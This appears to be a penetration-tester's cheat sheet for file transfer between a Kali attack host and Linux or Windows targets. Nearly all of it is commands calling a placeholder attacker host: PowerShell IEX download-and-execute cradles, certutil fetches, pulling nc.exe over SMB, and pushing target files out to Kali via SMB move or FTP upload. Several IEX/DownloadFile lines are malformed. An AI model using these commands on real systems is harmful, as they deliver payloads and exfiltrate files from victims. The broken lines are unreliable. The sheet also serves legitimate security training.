# Linux Download
- base64 encoding
```bash
cat <file_name> |base64 -w 0;echo #output encoded base64 string to stdout
cat <file_name> |base64 -w 0 > file.out
```
- base64 decoding
```bash
echo -n '<encoded_string>' | base64 -d > <file_name>
```
- `wget` and `curl`
```bash
wget http://<Kali_ip>:<port>/<file> -O file.out
curl http://<Kali_ip>:<port>/<file> -o file.out
```
---
# Windows Download
- base64 decoding
```powershell
[IO.File]::WriteAllBytes("C:\Users\Public\<file_name>", [Convert]::FromBase64String("<string>"))
```
- `iwr`
```powershell
iwr http://<Kali_ip>:<port>/<file> -usebasicparsing
iwr -uri "http://<Kali_ip>:<port>/<file>" -outfile <out_file>
```
- `iex (iwr)`
```powershell
powershell.exe -Command IEX (IWR http://<Kali_ip>:<port>/<file>)
powershell -c "IEX (iwr http://<Kali_ip>:<port>/<file> -usebasicparsing)"
powershell IEX (iwr -uri 'http://<Kali_ip>:<port>/<file>')
powershell -c "iwr http://<Kali_ip>:<port>/<file> -usebasicparsing | IEX"
```
- `certutil.exe`
```cmd
certutil.exe -urlcache -split -f http://<Kali_ip>:<port>/<in.file> <out.file>
```
- `New-Object Net.WebClient`
```powershell
(New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe','tool.exe')
```
- `iex (New-Object Net.WebClient)`
```powershell
powershell.exe -Command IEX ((New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe','tool.exe'))
powershell -c "IEX ((New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe','tool.exe'))"
powershell IEX ((New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe'))
```
- `curl`
```powershell
curl http://<Kali_ip>:<port>/<file>
```
- `wget`
```powershell
wget "http://<Kali_ip>:<port>/<file>" -outfile <out_file>
```
---
# HTTP Server
- Setup HTTP server to pull files form Kali
```bash
python3 -m http.server <port> #hosts current working dir
```
---
# SMB SERVER
- Setup an SMB server to push files to Kali and to pull files from Kali
```bash
sudo impacket-smbserver share -smb2support . #hosts current working dir
```
- Pull file from Kali down to WIN
```cmd
copy \\<kali_host_ip>\share\nc.exe
```
- Push file from WIN to Kali
```cmd
move <target_file> \\<kali_host_ip>\share
```
---
# FTP Server
## Pull
- Setup FTP server for pulling files from Kali
```bash
sudo python3 -m pyftpdlib --port 21 #hosts current working dir
```
- Download file from Kali using powershell
```powershell
(New-Object Net.WebClient).DownloadFile('ftp://<kali_host_ip>/<target_file>.txt', 'C:\Users\Public\<output_file>.txt')
```
## Push
- Setup ftp server for pushing files to Kali
```bash
sudo python3 -m pyftpdlib --port 21 --write
```
- Upload file to Kali using powershell
```powershell
(New-Object Net.WebClient).UploadFile('ftp://<kali_host_ip>:21/<dest_filename>', 'C:\<path>\<target_file>')
```